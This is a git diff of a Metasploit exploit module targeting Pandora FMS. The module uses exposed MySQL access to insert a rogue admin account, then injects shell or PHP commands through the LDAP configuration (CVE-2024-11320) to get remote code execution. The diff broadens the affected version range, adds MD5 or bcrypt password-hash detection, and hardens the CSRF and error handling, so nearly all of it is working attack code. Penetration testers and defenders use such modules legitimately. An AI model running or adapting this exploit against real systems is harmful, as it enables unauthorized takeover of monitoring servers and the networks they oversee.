44##
55
66require 'rex/proto/mysql/client'
7+ require 'digest/md5'
78
89class MetasploitModule < Msf ::Exploit ::Remote
910 Rank = ExcellentRanking
@@ -30,7 +31,7 @@ def initialize(info = {})
3031 allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain
3132 administrative access to the Pandora FMS Web application. This attack can be remotely executed
3233 over the WAN as long as the MySQL services are exposed to the outside world.
33- This issue affects Pandora FMS Community, Free and Enterprise edition : from 700 through <= 777.4
34+ This issue affects Community, Free and Enterprise editions : from v7.0NG.718 through <= v7.0NG. 777.4
3435 } ,
3536 'Author' => [
3637 'h00die-gr3y <h00die.gr3y[at]gmail.com>' , # Metasploit module & default password weakness
@@ -107,6 +108,9 @@ def mysql_login(host, user, password, db, port)
107108 rescue ::Rex ::Proto ::MySQL ::Client ::AccessDeniedError
108109 print_error ( 'Access denied' )
109110 return false
111+ rescue StandardError => e
112+ print_error ( "Unknown error: #{ e . message } " )
113+ return false
110114 end
111115 true
112116 end
@@ -122,6 +126,9 @@ def mysql_query(sql)
122126 rescue Rex ::ConnectionTimeout => e
123127 print_error ( "Timeout: #{ e . message } " )
124128 return false
129+ rescue StandardError => e
130+ print_error ( "Unknown error: #{ e . message } " )
131+ return false
125132 end
126133 res
127134 end
@@ -130,6 +137,8 @@ def mysql_query(sql)
130137 # return true if login successful else false
131138 def pandora_login ( name , pwd )
132139 # first login GET request to get csrf code
140+ # in older versions of Pandora FMS this csrf code is not implemented
141+ # but for the sake of simplicity we still execute this GET request
133142 res = send_request_cgi ( {
134143 'method' => 'GET' ,
135144 'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
@@ -142,13 +151,12 @@ def pandora_login(name, pwd)
142151
143152 # scrape <input id="hidden-csrf_code" name="csrf_code" type="hidden" value="d3ec1cae43fba8259079038548093ba8" />
144153 html = res . get_html_document
145- csrf_code = html . at ( 'input[@id="hidden-csrf_code"]' )
146- vprint_status ( "csrf_code: #{ csrf_code } " )
147- return if csrf_code . nil? || csrf_code . blank?
148-
149- # return if csrf_code&.text.to_s.strip.empty?
154+ csrf_code_html = html . at ( 'input[@id="hidden-csrf_code"]' )
155+ vprint_status ( "csrf_code: #{ csrf_code_html } " )
156+ csrf_code = csrf_code_html . attribute_nodes [ 3 ] unless csrf_code_html . nil? || csrf_code_html . blank?
150157
151158 # second login POST request using the csrf code
159+ # csrf_code can be nil in older versions where the csrf_code is not implemented
152160 res = send_request_cgi! ( {
153161 'method' => 'POST' ,
154162 'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
@@ -160,16 +168,18 @@ def pandora_login(name, pwd)
160168 'nick' => name ,
161169 'pass' => pwd ,
162170 'Login_button' => "Let's go" ,
163- 'csrf_code' => csrf_code . attribute_nodes [ 3 ]
171+ 'csrf_code' => csrf_code
164172 }
165173 } )
166- return res &.code == 200 && res . body . include? ( 'id="welcome-icon-header"' ) || res . body . include? ( 'id="welcome_panel"' )
174+ return res &.code == 200 && res . body . include? ( 'id="welcome-icon-header"' ) || res . body . include? ( 'id="welcome_panel"' ) || res . body . include? ( 'godmode' )
167175 end
168176
169177 # CVE-2024-11320: Misconfigure LDAP with RCE payload
170178 # return true if successful else false
171179 def configure_ldap ( payload )
172180 # first LDAP GET request to get the csrf_code
181+ # in older versions of Pandora FMS this csrf code is not implemented
182+ # but for the sake of simplicity we still execute this GET request
173183 res = send_request_cgi ( {
174184 'method' => 'GET' ,
175185 'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
@@ -184,13 +194,12 @@ def configure_ldap(payload)
184194
185195 # scrape <input id="hidden-csrf_code" name="csrf_code" type="hidden" value="d3ec1cae43fba8259079038548093ba8" />
186196 html = res . get_html_document
187- csrf_code = html . at ( 'input[@id="hidden-csrf_code"]' )
188- vprint_status ( "csrf_code: #{ csrf_code } " )
189- return if csrf_code . nil? || csrf_code . blank?
190-
191- # return if csrf_code&.text.to_s.strip.empty?
197+ csrf_code_html = html . at ( 'input[@id="hidden-csrf_code"]' )
198+ vprint_status ( "csrf_code: #{ csrf_code_html } " )
199+ csrf_code = csrf_code_html . attribute_nodes [ 3 ] unless csrf_code_html . nil? || csrf_code_html . blank?
192200
193201 # second LDAP POST request using the csrf_code
202+ # csrf_code can be nil in older versions where the csrf_code is not implemented
194203 res = send_request_cgi ( {
195204 'method' => 'POST' ,
196205 'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
@@ -202,7 +211,7 @@ def configure_ldap(payload)
202211 } ,
203212 'vars_post' => {
204213 'update_config' => 1 ,
205- 'csrf_code' => csrf_code . attribute_nodes [ 3 ] ,
214+ 'csrf_code' => csrf_code ,
206215 'auth' => 'ldap' ,
207216 'fallback_local_auth' => 1 ,
208217 'fallback_local_auth_sent' => 1 ,
@@ -237,12 +246,6 @@ def configure_ldap(payload)
237246 # CVE-2024-11320: Command Injection leading to RCE via LDAP Misconfiguration
238247 def execute_command ( cmd , _opts = { } )
239248 # modify php payload to trigger the RCE
240- # if target['Type'] == :php_cmd
241- # php_cmd = cmd.gsub(/'/, '"')
242- # payload = "';php -r " + "\'#{php_cmd}\'" + ' #'
243- # else
244- # payload = "';" + cmd + ' #'
245- # end
246249 payload = "';#{ target [ 'Type' ] == :php_cmd ? "php -r'#{ cmd . gsub ( /'/ , '"' ) } '" : cmd } #"
247250
248251 # misconfigure LDAP settings with RCE payload
@@ -303,8 +306,8 @@ def check
303306 return CheckCode ::Detected ( 'Could not determine the Pandora FMS version.' )
304307 end
305308
306- version = Rex ::Version . new version
307- unless version >= Rex ::Version . new ( '7.0.700 ' ) && version <= Rex ::Version . new ( '7.0.777.4' )
309+ version = Rex ::Version . new ( version )
310+ unless version >= Rex ::Version . new ( '7.0.718 ' ) && version <= Rex ::Version . new ( '7.0.777.4' )
308311 return CheckCode ::Safe ( "Pandora FMS version #{ full_version } " )
309312 end
310313
@@ -326,7 +329,17 @@ def exploit
326329 # add a new admin user
327330 @username = Rex ::Text . rand_text_alphanumeric ( 5 ..8 ) . downcase
328331 @password = Rex ::Text . rand_password
329- password_hash = Password . create ( @password )
332+
333+ # check the password hash algorithm by reading the password hash of the admin user
334+ # new pandora versions hashes the password in bcrypt $2*$, Blowfish (Unix) format else it is a plain MD5 hash
335+ mysql_query_res = mysql_query ( "SELECT password FROM tusuario WHERE id_user = 'admin';" )
336+ fail_with ( Failure ::BadConfig , 'Cannot find admin credentials to determine password hash algorithm.' ) if mysql_query_res == false || mysql_query_res . size != 1
337+ hash = mysql_query_res . fetch_hash
338+ if hash [ 'password' ] . match ( /^\$ 2.\$ / )
339+ password_hash = Password . create ( @password )
340+ else
341+ password_hash = Digest ::MD5 . hexdigest ( @password )
342+ end
330343 print_status ( "Creating new admin user with credentials #{ @username } :#{ @password } for access at the Pandora FMS Web application." )
331344 mysql_query_res = mysql_query ( "INSERT INTO tusuario (id_user, password, is_admin) VALUES (\' #{ @username } \' , \' #{ password_hash } \' , '1');" )
332345 fail_with ( Failure ::BadConfig , "Adding new admin credentials #{ @username } :#{ @password } to the database failed." ) if mysql_query_res == false
@@ -345,6 +358,8 @@ def exploit
345358 case target [ 'Type' ]
346359 when :unix_cmd , :php_cmd
347360 execute_command ( payload . encoded )
361+ else
362+ fail_with ( Failure ::BadConfig , "Unsupported target type: #{ target [ 'Type' ] } ." )
348363 end
349364 end
350365end
0 commit comments